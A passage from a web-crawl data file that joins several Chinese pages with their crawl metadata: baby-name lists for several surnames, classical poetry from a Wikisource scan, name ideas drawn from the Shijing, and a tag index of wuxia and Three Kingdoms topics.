安文萍 安寒琳 安俪萍 安伟洁 安绎冉 安怡冉 安翊冉 安弈冉 安屹冉 安亦冉 安沂冉 安滢冉 安玲娜 安淇冉 安婷昱 安洛冉 安秀冉 安汀冉 安浦燕 安清冉 安淼冉 安国芳 安运红 安国红 安伟琴 安一嫣 安嫣冉 安按莉 安盛梅 安胜梅 安蔓丽 安九莹 安家媛 安灏玉 安文玉 安倩娜\n您还可以查看更多的安姓女孩起名字大全.\n以上就是起名网为你准备的安姓名字大全的详细解答.....您还可以连接起名大全了解更多!","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/m.yw11.com\/baijiaxing\/2012\/0602\/2652.html","date":"2019-10-16T03:29:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570986661296.12\/warc\/CC-MAIN-20191016014439-20191016041939-00529.warc.gz","language":"lzh","language_score":0.5644386411,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5644386410713196, \"nan_Hani_score\": 0.36110442876815796, \"cmn_Hani_score\": 0.06831664592027664}","num_words":406,"character_repetition_ratio":0.003,"word_repetition_ratio":0.0,"special_characters_ratio":0.235,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.576,"perplexity_score":500.0,"cluster_detection":1} +{"text":"慕之?思九州之博大兮,豈惟是其有女?」曰:「勉遠逝而 無狐疑兮,孰求美而釋女?何所獨無芳草兮,爾何懷 乎故宇?世幽昧以昡曜兮,孰云察余之善惡?民好惡 其不同兮,惟此黨人」其獨異。戶服艾以盈要兮,謂幽 蘭其不可佩。覽察草木其猶未得兮,豈珵美之能當? 蘇糞壤㠯充幃兮,謂申椒其不芳。欲從靈氛之吉占 兮,心猶豫而狐疑。巫咸將夕降兮,懷椒糈而要之。百 神翳其備降兮,九嶷繽其並迎。皇剡剡其揚靈兮,告 余以吉。故曰勉陞降以上下兮,求矩矱之所同。湯禹 儼而「求合兮,摰咎繇而能調?苟中情其好修兮,又何 用夫行媒?」說操築於傅巖兮,武丁用而不疑。呂望之 鼓刀兮,遭周文而得舉。甯戚之謳歌兮,齊桓聞以該 輔。及年歲之未晏兮,時亦猶其未央。恐鵜鴂之先鳴 兮,使夫百草為之不芳。「『何瓊佩之偃蹇兮,眾薆然而 蔽之。惟此黨人之不諒兮,恐嫉妒而折之』。時繽紛以 變易兮,又何可以淹留?蘭芷變而不芳兮,荃蕙化而 為茅。何昔日之芳草兮,今直為此蕭艾也。豈其有他 故兮,莫好修之害也。余以蘭為可恃兮,羌無實而容 長。委厥美以從俗兮,苟得列乎眾芳。椒專佞以慢諂 兮,樧又欲充夫佩幃。既干進而務入兮,又何芳之能 祗?固時俗之從流兮,又孰能無變化?」覽椒蘭其若茲 兮,又況揭車於江離。惟茲佩之可貴兮,委厥美而歷 茲。芳菲菲而難虧兮,芬至今猶未沫。和調度以自娛 兮,聊浮游而求女。及余飾之方壯兮,周流觀乎上下。 《靈氛》既告余以吉占兮,歷吉日乎吾將行。折瓊枝以 為羞兮,精瓊爢以為粻。為余駕飛龍兮,雜瑤象以為 車。何離心「之可同兮,吾將遠逝以自疏。」邅吾道夫崑 崙兮,路修遠以周流。揚雲霓之晻藹兮,鳴玉鸞之啾 啾。朝發軔於天津兮,夕余至乎西極。鳳凰翼其承旗 兮,高翱翔之翼翼。忽吾行此流沙兮,遵赤水而容與。 麾蛟龍以梁津兮,詔西皇使涉予。路修遠以多艱兮, 騰眾車使徑待。路不周以左轉兮,指西海以為期。屯 余車其千乘兮《齊玉》 而並馳。駕八龍之蜿蜿兮,載 雲旗之委蛇。抑志而弭節兮,神高馳之邈邈。奏《九歌》 而舞《韶》兮,聊假日以媮樂。陟陞皇之赫戲兮,忽臨睨 夫舊鄉。僕夫悲余馬懷兮,蜷局顧而不行。亂曰:「已矣 哉!國無人莫我知兮,又何懷乎故都。既莫足與為美 政兮,吾將從彭咸之所居。」\n《永思賦》魏·文帝\n仰北辰而永思,泝悲風以增傷。哀遐路之漫漫,痛長 河之無梁。願托乘於浮雲,嗟逝速之難當。\n《歎逝賦》〈有序〉晉·陸機\n昔每聞長老追計平生同時親故,或彫落已盡,或僅有存者。余年方四十,而懿「親戚屬,亡多存寡;暱交密友,亦不半在。或所曾共遊一塗,同宴一室,十年之內,索然已盡。以是思哀,哀可知矣。」 乃為賦曰:\n「伊天地之運流,紛升降而相襲。日望空以駿驅,節循 虛而警立。嗟人生之短期,孰長年之能執。時飄忽其 不再,老晼晚其將及。懟瓊蕊之無徵,恨朝霞之難挹。 望暘谷以企予,惜此景之屢戢。悲夫!川閱水以成川, 水滔滔而日度。世閱人而為世,人冉冉而行暮。人何 世而弗新,世何人之能故。野每春其必華,草無朝而 遺露,經終古而常然。率品物其如素,譬日及之在條。 恆雖盡而不悟。雖不悟而可悲,心惆焉而自傷。亮造 化之若茲,吾安取夫久長?痛靈根之夙殞,怨具爾之 多喪。悼堂構之頹瘁,愍城闕之丘荒。親彌懿其已逝, 交何戚而不亡?咨余命之方殆,何視天之茫茫。」傷懷 悽其多念,蹙貌瘁而鮮歡。幽情發而「成緒,滯思叩而 興端。慘此世之無樂,詠在昔而為言。居充堂而衍宇, 行連駕而北軒。彌年時其詎幾,夫何往而不殘。或冥 邈而既盡,或寥廓而僅半。信松茂而柏悅,嗟芝焚而 蕙嘆。苟性命之弗殊,豈同波而異瀾。瞻前軌之既覆, 知此路之良難。啟四體而深悼,懼茲形之將然。毒娛 情之寡方,怨感目之多顏。諒多顏之感目,神何適而 獲怡?」尋平生於響像,覽前物而懷之。步寒林以悽惻, 翫春翹而有思。觸萬物以生悲,歎同節而異時。年彌 往而念廣,塗薄暮而意迮;親落落而日稀,友靡靡而 愈索。顧舊要於遺存,得十一於千百。樂隤心其如忘, 哀緣情而來宅。託末契於後生,余將老而為客。然後 弭節安懷,妙思天造。精浮神淪,忽在世表。寤大暮之 同寐,何矜晚以怨早?指彼日之方除,豈茲情之足攪。 感秋華於衰木,瘁零露於豐草。在殷憂而弗違,夫何 云乎識道?將頤天地之大德,遺聖人之洪寶。解心累 於末跡,聊優游以娛老。\n《大暮賦》〈有序〉前人\n夫死生是得失之大者,故「樂莫甚焉,哀莫深焉。」 使死而有知乎?安知其不如生?如遂無知耶?又何生之足戀?故極言其哀,而終之以達,庶以開夫近俗云。\n「夫何天地之遼闊,而人生之不可久長,日引月而並 隕,時維歲而俱喪。知自壯而得老,體自老而得亡。顧","id":"","dump":"CC-MAIN-2020-34","url":"https:\/\/zh.m.wikisource.org\/wiki\/Page:Gujin_Tushu_Jicheng,_Volume_390_(1700-1725).djvu\/61","date":"2020-08-13T12:25:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439738982.70\/warc\/CC-MAIN-20200813103121-20200813133121-00148.warc.gz","language":"lzh","language_score":0.6981331706,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.6981331706047058, \"cmn_Hani_score\": 0.17691971361637115, \"nan_Hani_score\": 0.08990321308374405, \"yue_Hani_score\": 0.011076635681092739}","num_words":78,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.192,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.426,"perplexity_score":500.0,"cluster_detection":1} +{"text":"所有標籤\n以下為所有討論主題標籤,你可以選擇喜歡的來看看大家在討論什麼?\n方怡 不碎金剛 蛤蟆功 康敏 血海飄香 金錢幫 段正明 的盧 建寧公主 袁紫衣 曹純 祝融 下邳之戰 關興 吳起 王語嫣 石亭之戰 李秋水 岳不羣 決戰前後 射鵰三部曲 練師 挾刀揉手 恆山派 蔣幹 阿九 董允 莫大先生 孫權 歐陽鋒 瑛姑 仙門劍訣 荊楚爭雄記 石亭之戰 呂玲綺 廖化 空明拳 洪七公 成昆 貂蟬 天外流星 冷月寶刀 流星鎚 竹節鞭 雷霆刀法 章進 鐵騎快劍 桃葉仙 折花百式 毛玠 鬼魅潛蹤 鍾繇 五絕神功 化骨綿掌 英雄無淚 破蓮八著 法顯 索額圖 玉女媚術 亡神十八掌 吳質 內家橫練 七傷拳 梵我如一 心佛掌 變天擊地大法 天鷹教 穆念慈 飛燕七式 白馬嘯西風 諸葛亮南征 公孫止 桃谷六仙 絕情谷 阿珂 五帝鐧 凝真九變 黃祖 君子劍 東興之戰 玄鐵重劍 禿筆翁 大開碑手 范遙 雌雄雙股劍 夏青青 汪劍通 金丹大法 三十六招鳥啄擊法 月異星邪 樊城之戰 移玉大法 慕容復 無念禪功 彈指神通 鍾靈 紫霞神功 月英 起風了 郭馬之亂 覆雨劍法 張無忌 街亭 李元霸 劍罡同流 日月神教 華山派 刀劍雙殺七七四十九式 五毒神功 左冷禪 一指頭禪 瘋魔上天下地一百零七撃 許褚 飛鷹十三刺 星彩 四大名捕 十二都天神功 少林三渡 魏滅蜀之戰 凌波微步 傻姑 陸小鳳傳奇 飛狐外傳 天心蓮環 儀琳 白狼山之戰 袖裡乾坤 桃幹仙 南匈奴 沐劍屏 文醜 蔡文姬 鰲拜 趙志敬 黃蓋 七十二路分筋錯骨手 掃地僧 碎金剛乘 司馬昭 楊成協 彼岸劍訣 臥龍 絕代雙驕 倉亭之戰 菊花的刺 無相神功 鳩摩智 奼女心法 天涯明月刀 周倉 日月當空 嵩山十三太保 九轉無相神功 丐幫 夷陵之戰 天龍八部 歡樂英雄 程靈素 李牧 風萍掌 司馬師 段譽 飛鶯飛鷹 益州之戰 魏晉玄學 東方不敗 周芷若 張角 蔣四根 諸葛亮 華山論劍 孫曉 李典 金輪法王 楊修 馬忠 袁承志 滿地開花八十—式 玉女素心劍法 捨身大法 衛青 海大富 飛天狐狸 梁羽生 黑白子 古墓派 戚芳 王元姬 賈南風 少林派 楚留香新傳之新月傳奇 鄧芝 慈航劍典 奕劍術 名劍風流 神州奇俠 飛龍五式 丞相,起風了 劍玄錄 譙周 曹洪 劉禪 屯田制 朱然 華陀針 裘千仞 九難 海神 湘妃劍 歐陽克 呂布爭徐州 擒拿截脈法 情人箭 游坦之 夏侯霸 刑遁術 曹丕伐吳 屠龍刀 無想奼女大法 阿朱 馬皇后 碧血洗銀槍 移花接玉 迎風一刀斬 戰神圖錄 古龍 馬大元 合淝新城之戰 絕不低頭 白自在 韓小瑩 枯木神功 子貴母死 魏滅蜀之戰 金蛇劍 劍客行 殷離 伏養氣功 定靜師太 馬謖 清風十三式 赤壁之戰 青龍偃月刀 桃枝仙 丁春秋 笮融 李莫愁 小龍女 東興之戰 飛伏一百零八槍 陽頂天 謝煙客 白玉老虎 程英 左手刀法 武當掌法 血鸚鵡 張遼 陳家洛 尉遲恭 關羽 神鵰俠侶 達摩手 魅影劍法 雪山飛狐 郭淮 西蜀地形圖 左慈 太虛勁 牛郎一百零八棍 豔陽刃法 張春華 男人見不得 逍遙拆 飄香劍雨 易京之戰 藏密智能書 倚天劍 大唐雙龍傳 夏侯淵 逍遙派 仇國論 滅絕師太 無崖子 雙尖軟矛 王異 張翼 王重陽 黃鍾公 多情劍客無情劍 金剛門 掩月劍法 曹操 全真教 如意八打 織女劍法 呂后 達爾巴 雙修大法 小鷹爪功 林平之 幽灵山庄 法正 齊桓公 鐵蒺藜骨朵 呂壹專權 神龍教 蕭遠山 穿雲劍法 董卓討伐戰 硃砂掌 楚留香新傳之蝙蝠傳奇 倚天屠龍記 吸星大法 謝遜 曾柔 紫氣天羅 三少爺的劍 無塵道長 史火龍 黃忠 華山派 陳近南 靈犀一指 群狐 霍去病 夏侯嬰 銀龍手 陳到 圓月彎刀 崆峒派 摘心手 孫尚香 周泰 九韶定音劍 逆水寒 神君別傳 凌統 黃皓專權 孤星傳 冰玄勁 笑傲江湖 大武俠時代 田伯光 桃花仙 葵花寶典 潼關之戰 明玉功 興勢之戰 七流星 四大惡人 典韋 韋小寶 嫁衣神功 紅花會 浣花洗劍錄 飛刀,又見飛刀 霓裳仙舞 沉沙劍法 歸辛樹 八賢王 天一掌 燎原百擊 五行劍法 韋春花 十住大乘功 丁不四 獨孤九劍 呂蒙 滿天花雨 藍鳳凰 七种武器 合淝之戰 七星龍王 五虎斷門刀 朱子柳 先天氣功 曹真 雙手互搏 石中玉 楊頂天 金庸 魔佛十式 合肥之戰 天外飛仙 劉備稱帝 曹丕 丁典 淑女劍 井中八法 旋風十八矛 日月麗天大法 流星鎚 郭襄 永安之戰 滿寵 桃根仙 流雲飛袖 劍毒梅香 魯有腳 大手印 方天畫戟 一串鞭 殘金缺玉 閔柔 三尸腦神丹 徐盛 慕容博 曹操攻徐州之戰 神刀斬 天地明環 長河正氣 火併蕭十一郎 大地飛鷹 白萬劍 封天閉地 徐榮 羅漢伏虎拳 大人物 血戰十式 碧落紅塵 五毒教 七禽身法 心硯 天魅凝陰 萬物波動心法 蕭逸 紫微軟劍 挾天子 武三通 打狗棒法 奇功絕藝榜 劉備 鳳天南 石田三成 神蛛凌空銀絲渡虛 胡昭 玉女劍法 彩環曲 曹休 天魔心法 劍氣書香 伊達政宗 尼摩星 歸魂十八爪 曹睿 鴛鴦腿 喬鋒 劉表 化石神功 關索 桃花島 種玉大法 歸藏鞭 散手八撲 龜息功 西陵之戰 奪命簪 張三丰 阿青 文鴦 炎陽奇功 披風杖法 太清元功 飛龍大九式 九品中正制 丁不三 御盡萬法根源智經 九月鷹飛 虛竹 司馬昭弒君 壽春三叛 陸抗 迷蹤七變 怒劍狂花 石清 蕭十一郎 六脈神劍 諸葛恪 先天功 高平陵之變 德川家康 徐晃 魯肅 誰來跟我乾杯 曹操迎天子 殭屍拳 諸葛瞻 書劍恩仇錄 楚留香新傳 孟獲 邊城浪子 失魂引 荊州 呂布 幻魔身法 童子功十三太保橫練 郭解 周伯通 古龍作品 荀攸 楚留香新傳之借屍還魂 龍門鏢局 駱冰 李廣 公孫綠萼 死眷術 荀彧 陳宮 天山童姥 涼州軍劫天子 岳靈珊 蒼穹神劍 陸無雙 換日大法 不死印法 霍都 越女劍 林遠圖 倪匡 降龍十八掌 余魚同 任盈盈 長平公主 曹爽專權 一燈大師 空城計 官渡之戰 俠客行 一休 方證大師 太史慈 袁紹 刀白鳳 韋一笑 夢姑 黃皓 枯禪玄功 驚魂六記 地煞拳 鎖子縮骨功 鍾會 柳絮劍法 遊俠錄 羅憲 貝海石 九陽神功 龍吟曲 九陰真經 韋小寶 劍花煙雨江南 蘇荃 蒼穹十三式 楊過 裂馬槍 烏金血劍 九字真言手印 魅變術 流星蝴蝶劍 合淝之戰 諸葛誕 大喬 兵器譜 鄧艾 鷹變十三式 尋秦記 伏虎神拳 孫策 乾隆 梅花鉤 孫權建國 龐德 金針開穴之法 大拍手 暴雨梨花釘 滅神掌 郭芙 楊逍 蒼穹十三劍 鹿鼎記 張召重 蔣琬 塌上策 鐵脊蛇矛 幻影劍法 馮錫范 玄鐵劍法 銅錘 黑鬼爪 鳥渡術 奪命十三劍 丈八蛇矛 蕭摩訶 翔鷹劍法 衡山派 辟邪劍法 水笙 摩尼教 任我行 黃蓉 青城派 姑蘇慕容 段正淳 樂進 諸葛亮北伐 嵩山派 于萬亭 天地明環 天魔手七十二式 關銀屏 溫瑞安 林朝英 水雲袖法 曹操討伐袁術之戰 燕子雙飛 風鈴中的刀聲 上官鼎 道心種魔大法 江夏戰神 破精自絕大法 裘千尺 文泰來 白阿繡 武當七俠 寧中則 九陽真經 狼牙 青龍會 白世鏡 沙影二十八劍 魅影身法 阿紫 扭轉乾坤殺手劍 魏延 張三李四 玄氣大法 少林神拳 夏侯惇 太虛錯手 楚留香傳奇 鮑三娘 丹青生 菩提心功 雙兒 五虎斷門刀 余滄海 七殺拳 風清揚 鬼王鞭 黃天大法 丁璫 連體心法 楊儀 吳國太 鄭丰 韓當 董卓 江南七怪 石雙英 蔣濟 武夷派 峨嵋派 蝴蝶穿花七十二式 破碎虚空 橫煉罡 覆雨翻雲 武林外史 陸遜 聖火令 甄姬 第六天魔王 常赫志 碧血劍 張大春 張飛 木婉清 石破天 星际浪子 不戒和尚 吳六奇 連城訣 丞相 太極七截棍 曹仁 沖虛道長 夏姬 孫皓 梅超風 于禁 程普 玩命拳 玄慈 費禕 勞德諾 大圓滿杖法 隆中對 楊康 天魔大法 福康安 丁奉 燕子三抄水 黃藥師 金絲綿掌 郭嘉 雲行雨飄 甘寧 洪承疇 小昭 建安文學 崑崙派 狄雲 王平 花間十二支 孫策平江東之戰 晉滅吳之戰 周瑜 龐統 宗預 龍木島主 狂沙刀法 小喬 張苞 斷絕神功 回轉斧法三十式 九轉還童 孫皓暴政 呂母 關平 大意失荊州 常伯志 曹叡 徐庶 夷陵之戰 蝶雙飛 定世鞭 康熙 九玄大法 彭長老 尉遲敬德 黃權 趙敏 紫血大法 衛春華 曹丕篡漢 一扇十八搖 邊荒傳說 張郃 賈充 全真七子 鴛鴦刀 吳三桂 吳應熊 羊祜 空綁術 瀟湘子 明珠 布衣神相 伏魔劍法 南皮之戰 炎元真氣 趙雲 郭靖 護花鈴 鬼火十三拍 司馬懿 耶律齊 逍遙訣 賭局 碧海潮生曲 白骨爪 尹克西 姜維北伐 界橋之戰 降龍伏虎羅漢拳 丹心術 黯然銷魂掌 東洋神風刀法 大元丹法 金蛇郎君 魔心連環 博望坡之戰 桃實仙 定逸師太 急風十三刺 霍青桐 孫堅 臥龍生 嫁衣神功 武田信玄 漢中之戰 泰山派 交阯之亂 七殺手 青松劍譜 徐天宏 定閒師太 無想十法 就地十八滾 北冥神功 武當派 胡斐 鍾會之亂 梅花鉤 壽春馳援 令狐沖 銀雕 絕代雙驕角色列表 星宿派 天魔擊三大散招 不死七幻 賈詡 儀琳 趙半山 枯榮大師 大旗英雄傳 馬岱 姜維 五嶽劍派 馬超 二宮之爭 青釭劍 軟蝟甲 完顏洪烈","id":"","dump":"CC-MAIN-2020-40","url":"https:\/\/www.herostory.tw\/alltags","date":"2020-09-28T16:31:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600401601278.97\/warc\/CC-MAIN-20200928135709-20200928165709-00520.warc.gz","language":"lzh","language_score":0.5900563002,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.590056300163269, \"nan_Hani_score\": 0.25269559025764465, \"cmn_Hani_score\": 0.12175016105175018, \"yue_Hani_score\": 0.032960738986730576}","num_words":825,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.228,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.593,"perplexity_score":500.0,"cluster_detection":1} +{"text":"女诗经男楚辞\n蓁蓁。《周南·桃夭》:\"桃之夭夭,其叶蓁蓁\"。蓁蓁,茂盛貌。\n静姝。《邶风·静女》:\"静女其姝,俟我于城隅\"。\n芃芃。《鄘风·载驰》:\"我行其野,芃芃其麦\"。芃芃:草木茂盛貌\n佩玖。《王风·丘中有麻》:\"彼留之子,诒我佩玖\"。佩玖:佩戴用的美玉。\n零露。《郑风·野有蔓草》:\"野有蔓草,零露漙兮\"。零露:零落的露水。然而该词溢满了感伤的气息(延伸义:容易消失的事物),偶的眼前骤然浮现出小说或影视剧中那些林黛玉式的女纸··\n清猗。《魏风·伐檀》:\"河水清且涟猗\"\n荟蔚。《曹风·候人》:\"荟兮蔚兮,南山朝隮\"。荟蔚:云雾弥漫貌。\n攸宁。《鸿雁之什·斯干》:\"君子攸宁\"\n思柔。《甫田之什·桑扈》:\"兕觥其觩,旨酒思柔\"。在这里,思是助词,柔指柔和。形容美酒温和。\n和铃。《周颂·载见》:\"龙旂阳阳,和铃央央\"。\n馨宁。《周颂·载芟》:\"有椒其馨,胡考之宁\"。馨:馨香;宁:安宁。\n纯熙。《周颂·酌》:\"时纯熙矣,是用大介\"。纯:大。熙:光明。\n给女孩起名可以根据生辰八字来取,能够辅助孩子以后的运势,在以后的学业、事业、家庭上都会有帮助,可以搜–狗年十月女孩名字,很多名字可以挑选\n急!名字里有夏字好不好??\n浩南﹎新豪﹎卡思﹎擎宇﹎风桦﹎帆影﹎秀杰﹎长翔﹎松德﹎鼎寒﹎煜城﹎昊强﹎煜祺﹎彤彤﹎伟泽﹎睿渊﹎致轩﹎冠楠﹎嘉懿﹎天佑﹎国豪﹎菲凡﹎瑾瑜﹎苑博﹎博超﹎辰逸﹎晓然﹎志强﹎柯勤﹎雨泽﹎俊楠﹎越彬﹎敬轩﹎泽洋﹎楷瑞﹎韵文﹎健柏﹎绍辉﹎博文﹎荣轩\n还不错,夏是的古意是大的意思,所以汉族以前叫华夏族,意为,\"华\"字有服饰纹章美丽的含义,\"夏\"字有疆域广阔的意义,连起来的确是个美好的词。实际上,\"美\"字本义就有\"疆域广阔\"的意思。\"美\"从羊从大。\"大\"指国土辽阔。\n有没有夏字开头的好名字?\n夏增香 夏南兰 夏梓 夏珊珊 夏美鑫 夏永胜 夏炅 夏一博 夏浩宇 夏海宇 夏沛贻 夏星越 夏勇皓 夏浩宇 夏国淋 夏浩宇 夏浩宇 夏浩宇 夏浩宇 夏耿锋 夏耿峰 夏焕海 夏浡壬 夏卜 夏瑞玲 夏瑞珍 夏锦杰 夏博 夏锦杰 夏博 夏建海 夏博 夏锦杰 夏博 夏瑞玲 夏瑞珍 夏发存 夏博 夏明馨 夏博 夏刀鲡 夏菲雅 夏幻露 夏幻露 夏佩 夏妃雅 夏妃宣 夏盈盈 夏香盈 夏湘湘 夏湘 夏博 夏媛媛 夏涫 夏静 夏涫涫 夏浚琪 夏成建 夏成建 夏先睿 夏力 夏嘉琪 夏永琪 夏浩琪 夏浚琪 夏泽琪 夏佳琪 夏永祺 夏永琪 夏丽 夏锦红 夏蕃蕃 夏丽艳 夏丽馨 夏翔 夏宇琪 夏忠琪 夏曾光 夏曾光 夏艳 夏逸宁 夏力宁 夏丰肇 夏丰肇 夏烨 夏慧云 夏珊珊 夏珊珊 夏蕾 夏永晟 夏永晟 夏彬帆 夏彬臣 夏翔羽 夏中昆 夏永晟 夏明远 夏昱锋 夏大帅 夏健全 夏永晟 夏祥羽 夏彬帆 夏彬臣 夏苑旭 夏敏丞 夏永晟 夏永晟 夏彬羽 夏永晖 夏永晖 夏儇骐 夏增宝 夏增宝 夏增宝 夏博 夏明鹤 夏欣 夏欣 夏雪 夏建辉 夏夏昊 夏锦昊 夏健辉 夏建辉 夏好帆 夏小玉 夏孝美 夏浩然 夏浩宇 夏元魁 夏钦 夏增伦 夏梓艺 夏维兴 夏博 夏博 夏博 夏雨涵 夏耿峰 夏耿锋 夏耿锋 夏涛 夏伟平 夏月 夏旖妮 夏坤香 夏莹 夏万霄 夏夏月 夏雅淇 夏雪辰 夏淼 夏浚涵 夏雯冰 夏雪辰 夏筱 夏雪辰 夏雪辰 夏浚涵 夏淼 夏雯冰 夏紫冰 夏雅雯 夏雅雯 夏显江 夏键鹏 夏健鹏 夏键鹏 夏凯祺 夏凯淇 夏锦程 夏淑文 夏曜菡 夏曜赫 夏淑文 夏烨菡 夏曜赫 夏曜菡 夏淑文 夏子文 夏真 夏珠 夏力 夏凤起 夏博 夏学超 夏炳芹 夏梅 夏毅红 夏曜菡 夏智博 夏博 夏智博 夏博 夏博 夏博 夏浚涵 夏曾光 夏培丽 夏明 夏春东 夏翠香 夏智业 夏雪娟 夏锦程 夏志强 夏欣磊 夏钦中 夏钦中 夏钦中 夏欣磊 夏钦中 夏皓 夏欣磊 夏淑涛 夏增志 夏华 夏赠郅 夏赠郅 夏赠挚 夏赠智 夏赠治 夏赠致 夏赠治 夏赠轾 夏涛 夏涛 夏涛 夏斯卓 夏斯卓 夏斯卓 夏滢滋 夏滢滋 夏滢矽 夏滢媛 夏志强 夏博 夏滢媛 夏滢滋 夏滢媛 夏翔 夏祈云 夏博 夏嘉义 夏嘉义 夏吉元 夏中行 夏明吾 夏滢媛 夏滢帆 夏滢蕊 夏滢帆 夏滢媛 夏滢媛 夏夏泽 夏逢建 夏镨 夏博 夏旭 夏丽华 夏锦林 夏泽鑫 夏浩鑫 夏秦源 夏博 夏滢媛 夏滢帆 夏博卿 夏大博 夏三博 夏小博 夏博 夏宗芳 夏宗芳 夏锦旭 夏滢媛 夏雨藤 夏滢帆 夏居明 夏举明 夏居明 夏夏明 夏晶 夏锦凤 夏睿 夏庶允 夏庶尤 夏巧丽 夏巧丽 夏湘君 夏湘君 夏晓媛 夏敏洁 夏敏杰 夏敏洁 夏晨 夏龙羽 夏陆阳 夏少逸 夏晃 夏雨涵 夏在芹 夏蕃蕃 夏在芹 夏涵涵 夏涵涵 夏滢滢 夏雪 夏沛资 夏陆阳 夏蒴 夏文博 夏博 夏礴 夏波 夏文洪 夏宇涵 夏雨翰 夏余瀚 夏雨瀚 夏浩文 夏豪文 夏函文 夏文豪 夏泽文 夏泽 夏天佑 夏语含 夏语翰 夏宇函 夏宇瀚 夏宇涵 夏鲁函 夏鲁泽 夏陆泽 夏泽陆 夏泽泽 夏泽优 夏文泽 夏林 夏一浩 夏翼浩 夏一雄 夏一选 夏一玄 夏一轩 夏子轩 夏子函 夏子涵 夏子汉 夏子翰 夏子瀚 夏子雄 夏凯 夏文轩 夏雨轩 夏姿轩 夏泽轩 夏子录 夏子旭 夏旭 夏子禾 夏瑞燕 夏孜涵 夏孜禾 夏瑞岩 夏瑞艳 夏水艳 夏水岩 夏瑞妍 夏瑞艳 夏玉英 夏雨婷 夏涵 夏环穗 夏滢帆 夏展韬 夏浩宇 夏文义 夏文欣 夏占涛 夏志杰\n夏、少漾夏、未央","id":"","dump":"CC-MAIN-2021-31","url":"http:\/\/www.nhhongxing.cn\/xmdq\/12061.html","date":"2021-08-01T03:38:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-31\/segments\/1627046154158.4\/warc\/CC-MAIN-20210801030158-20210801060158-00266.warc.gz","language":"lzh","language_score":0.8465961814,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.8465961813926697, \"cmn_Hani_score\": 0.10389185696840286, \"nan_Hani_score\": 0.024681515991687775, \"jpn_Jpan_score\": 0.022138403728604317}","num_words":402,"character_repetition_ratio":0.018,"word_repetition_ratio":0.0,"special_characters_ratio":0.259,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.911,"perplexity_score":500.0,"cluster_detection":1} +{"text":"女宝宝宋姓100分名字大全推荐列表 宋学彤 宋畅桐 宋朵璎 宋媛天 宋育霏 宋晴礼 宋那琬 宋莎缨 宋瑛祎 宋晤曦 宋夕叶 宋斓芸 宋宵歆 宋幂莎 宋芸昭 宋淑禾 宋昀安 宋岚俏 宋珈欣 宋。宋姓起名字大全,宋姓起名字库大全,女孩名字大全。","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/9bazi.com\/xingming\/269169.html","date":"2022-05-26T06:05:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662601401.72\/warc\/CC-MAIN-20220526035036-20220526065036-00335.warc.gz","language":"lzh","language_score":0.5725421906,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5725421905517578, \"wuu_Hani_score\": 0.23514620959758759, \"cmn_Hani_score\": 0.18644605576992035}","num_words":21,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.225,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.598,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1.梁姓后代,男\n梁俊材 梁伟祺 梁振豪 梁皓轩 梁昊强 梁伟诚 梁昊然 梁泽楷 梁雪松 梁俊楠 梁泽洋 梁韵舟 梁卡思 梁楷瑞 梁风桦 梁文昊 梁博文 梁伟宸 梁韵文 梁浩宇 梁瑾瑜 梁昊天 梁君浩 梁荣轩 梁致轩 梁智宸 梁秀杰 梁鑫磊 梁明轩 梁越彬 梁展鹏 梁国龙 梁君昊 梁鑫鹏 梁俊驰 梁金傲 梁圣杰 梁博超 梁致远 梁越泽 梁厉辉 梁冠楠 梁智轩 梁星野 梁志强 梁绍辉 梁伟泽 梁彤彤 梁弘昌 梁明杰 梁明辉 梁苑博 梁鼎寒 梁鸿煊 梁松德 梁哲瀚 梁擎宇 梁博涛 梁靖琪 梁晋鹏 梁晓啸 梁新豪 梁沙欧 梁炫明 梁智渊 梁睿渊 梁冠霖 梁世博 梁煜城 梁厉轩 梁煜祺 梁鹤轩 梁雨泽 梁旭尧 梁新杰 梁天宇 梁炎彬 梁辰逸 梁懿轩 梁达强 梁泰宇 梁天磊 梁弘文 梁益弘 梁劲松 梁浩南 梁烨伟 梁苑杰 梁文博 梁健柏 梁鹏煊 梁嘉懿 梁鸿涛 梁国豪 梁天佑 梁翰思 梁晟睿 梁晟棋 梁鹏涛 梁玮伦 梁峻熙 梁建辉 梁幽朋 梁文轩 梁天海 梁德春 梁知春 梁金波 梁悟尘 梁壑丘 梁君谦 梁闭新 梁棕雄 梁存诚 梁依夫 梁月满 梁达城 梁尚兴 梁风声 梁依字 梁若悟 梁宁寿 梁健光 梁菲舟 梁恒德 梁风振 梁德盛 梁元享 梁敬细 梁本厉 梁畅功 梁传日 梁枝觅 梁切云 梁责依 梁依部 梁向风 梁明哲 梁国栋 梁刚壮 梁江达 梁谁雪 梁唐言 梁恭安 梁推令 梁乾易 梁紫适 梁杉月 梁思危 梁德新 梁鹰翰 梁万顷 梁芭兴 梁文宏 梁月星 梁乐民 梁展照 梁达杭 梁忠恕 梁寒松 梁切切 梁至鸣 梁光才 梁获德 梁亦游 梁戏蝶 梁依海 梁必精 梁彰善 梁幽志 梁凯弟 梁雨来 梁勤苦 梁知荣 梁悟睹 梁树丰 